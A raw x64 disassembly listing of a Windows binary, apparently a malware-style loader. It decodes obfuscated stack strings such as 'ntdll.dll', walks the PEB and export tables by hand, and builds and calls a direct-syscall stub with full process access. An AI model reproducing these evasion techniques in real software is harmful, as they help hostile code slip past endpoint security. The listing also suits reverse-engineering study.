mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24a], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24b], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24c], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x65
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24d], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24e], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x50
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x24f], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x250], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x251], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x63
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x252], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x253], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x254], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + 0x255], al
xor eax, eax
mov byte [rbp + 0x256], al
mov edi, eax
lea r12d, [rax + 0x20]
mov r9d, reloc.WS2_32.dll_listen
mov r8, rdi
mov dl, byte [rbp + rdi + 0x249]
lea rcx, [rbp + 0x248]
call fcn.140042890
mov byte [rbp + rdi + 0x249], al
add rdi, r13
cmp rdi, 0xd
jb 0x14002d883
xor edi, edi
mov byte [rbp + 0x256], dil
mov byte [rbp + 0x1e8], 0x48
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1e9], al
mov r9d, r13d
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1ea], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1eb], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1ec], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1ed], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1ee], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1ef], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1f0], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + 0x1f1], al
xor eax, eax
mov byte [rbp + 0x1f2], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e9]
lea rcx, [rbp + 0x1e8]
call fcn.140042908
mov byte [rbp + rdi + 0x1e9], al
add rdi, rbx
cmp rdi, 9
jb 0x14002d9c3
xor r9d, r9d
mov byte [rbp + 0x1f2], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea ebx, [r9 + 0x11]
je 0x14002dd70
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002da97
lea r15d, [rax + 1]
mov r10d, r15d
mov r14, qword [rbp - 0x50]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x14002da68
mov r14d, Ordinal_32
lea r15d, [r14 - 8]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x50], r10
je 0x14002daf3
mov rax, rcx
lea r9, [rbp + 0x1e9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002daec
add rax, r11
test edx, edx
jne 0x14002dad7
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14002db1a
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002da1f
jmp 0x14002dd70
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002dd70
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002dd70
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002dd70
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002dd70
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x50], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002dd70
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x249]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002dbac
inc rax
test edi, edi
jne 0x14002db97
test r8d, r8d
je 0x14002dbc0
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x14002db86
jmp 0x14002dd70
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002dd70
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002dd70
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.1400a18a0
or dword [rbp + 0xac74], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x98f0]
call fcn.1400437d4
lea rcx, [rbp + 0x98f0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x98f0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x28490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x14002dc69
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x28490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe6c], eax
lea r9, [rbp + 0xe6c]
mov r8d, r12d
mov edx, esi
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xd58]
lea r8, [rbp + 0xd68]
mov edx, 0x1fffff
lea rcx, [rbp + 0xcd8]
call rdi
mov edi, eax
lea r9, [rbp + 0xe6c]
mov r8d, dword [rbp + 0xe6c]
mov edx, esi
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
lea esi, [rax + 0x14]
js 0x140041d2a
mov rax, qword [rbp + 0xcd8]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140041d2a
lea rdi, [rbp + 0x28270]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edi, edi
test eax, eax
jne 0x14002e43c
mov word [rbp + 0x458], 0x732
mov r9, rbx
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45a], al
mov r9, rbx
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45b], al
mov r9, rbx
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45c], al
mov r9, rbx
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45d], al
mov r9, rbx
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45e], al
mov r9, rbx
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x45f], al
mov r9, rbx
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x460], al
mov r9, rbx
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x461], al
mov r9, rbx
lea r8d, [rdi + 9]
mov dl, r12b
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x462], al
mov r9, rbx
lea r8d, [rdi + 0xa]
mov dl, 0x46
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x463], al
mov r9, rbx
lea r8d, [rdi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x464], al
mov r9, rbx
lea r8d, [rdi + 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x465], al
mov r9, rbx
lea r8d, [rdi + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x466], al
mov r9, rbx
lea r8d, [rdi + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x467], al
mov r9, rbx
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x468], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x458]
call fcn.1400429f8
mov byte [rbp + 0x469], al
xor eax, eax
mov byte [rbp + 0x46a], al
mov r8d, edi
mov r9, rbx
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x458]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x458]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x459], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x14002df88
xor eax, eax
mov byte [rbp + 0x46a], al
mov word [rbp + 0x928], 0xb27c
lea edi, [rax + 0x22]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92a], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, 0x69
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92b], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x6c
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92c], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92d], al
mov r9d, edi
lea r8d, [rdi - 0x1d]
mov dl, 0x64
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92e], al
mov r9d, edi
lea r8d, [rdi - 0x1c]
mov dl, r12b
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x92f], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x930], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x931], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, r12b
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x932], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x51
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x933], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x75
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x934], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x935], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, WSAStartup
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x936], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x79
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x937], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r12b
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x938], al
mov r9d, edi
mov r8, r13
mov dl, 0x4d
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x939], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93a], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x64
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93b], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x75
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x6c
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93d], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93e], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, r12b
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x93f], al
mov r9d, edi
mov r8, r15
mov dl, 0x49
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x940], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x941], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x66
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x942], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x943], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x944], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x6d
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x945], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x61
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x946], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x947], al
mov r9d, edi
mov r8, r14
mov dl, 0x69
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x948], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x949], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.140043fcc
mov byte [rbp + 0x94a], al
xor eax, eax
mov byte [rbp + 0x94b], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x21]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x928]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x22]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x928]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x929], dil
add r8, rbx
add r9, 0x22
cmp r9, 0x4a6
jb 0x14002e3a3
mov byte [rbp + 0x94b], r10b
xor r9d, r9d
lea r8, [rbp + 0x459]
lea rdx, [rbp + 0x929]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0xd30], rdi
mov qword [rbp + 0xf00], 0x1000
mov byte [rbp + 0x778], Ordinal_27
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x779], al
mov r9, r15
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77a], al
mov r9, r15
lea r8d, [r12 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77b], al
mov r9, r15
lea r8d, [r12 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77c], al
mov r9, r15
lea r8d, [r12 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77d], al
mov r9, r15
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77e], al
mov r9, r15
lea r8d, [r12 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x77f], al
mov r9, r15
lea r8d, [r12 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x780], al
mov r9, r15
lea r8d, [r12 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x781], al
mov r9, r15
lea r8d, [r12 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x782], al
mov r9, r15
lea r8d, [r12 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x783], al
mov r9, r15
lea r8d, [r12 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x784], al
mov r9, r15
lea r8d, [r12 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x785], al
mov r9, r15
lea r8d, [r12 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x786], al
mov r9, r15
lea r8d, [r12 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x787], al
mov r9, r15
lea r8d, [r12 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x788], al
mov r9, r15
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x789], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78a], al
mov r9, r15
lea r8d, [r12 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78b], al
mov r9, r15
lea r8d, [r12 + 0x12]
mov dl, 0x6d
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78c], al
mov r9, r15
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78d], al
mov r9, r15
lea r14d, [r12 + 0x14]
mov r8d, r14d
mov dl, WSAStartup
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78e], al
mov r9, r15
lea r8d, [r12 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + 0x78f], al
xor eax, eax
mov byte [rbp + 0x790], al
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x779]
lea rcx, [rbp + 0x778]
call fcn.140042d44
mov byte [rbp + rdi + 0x779], al
add rdi, r12
cmp rdi, r15
jb 0x14002e6eb
xor edi, edi
mov byte [rbp + 0x790], dil
mov byte [rbp + 0x1d8], 7
lea r12d, [rdi + 9]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1d9], al
mov r9d, r12d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1da], al
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1db], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1dc], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1dd], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1de], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1df], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1e0], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + 0x1e1], al
xor eax, eax
mov byte [rbp + 0x1e2], al
lea r12d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1d9]
lea rcx, [rbp + 0x1d8]
call fcn.140042908
mov byte [rbp + rdi + 0x1d9], al
add rdi, r13
cmp rdi, 9
jb 0x14002e828
xor r9d, r9d
mov byte [rbp + 0x1e2], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r13d, [r9 + 0x10]
je 0x14002ebe5
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002e8f9
lea r15d, [rax + 1]
mov r10d, r15d
mov rsi, qword [rbp - 0x50]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x14002e8cd
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x50], r10
je 0x14002e955
mov rax, rcx
lea r9, [rbp + 0x1d9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002e94e
add rax, r11
test edx, edx
jne 0x14002e939
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14002e97c
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002e884
jmp 0x14002ebe5
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002ebe5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ebe5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002ebe5
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002ebe5
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x50], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002ebe5
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x779]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002ea0e
inc rax
test edi, edi
jne 0x14002e9f9
xor r9d, r9d
test r8d, r8d
je 0x14002ea25
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x14002e9e8
jmp 0x14002ebe5
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
mov r10d, 1
je 0x14002ebeb
mov eax, dword [rdx + 4]
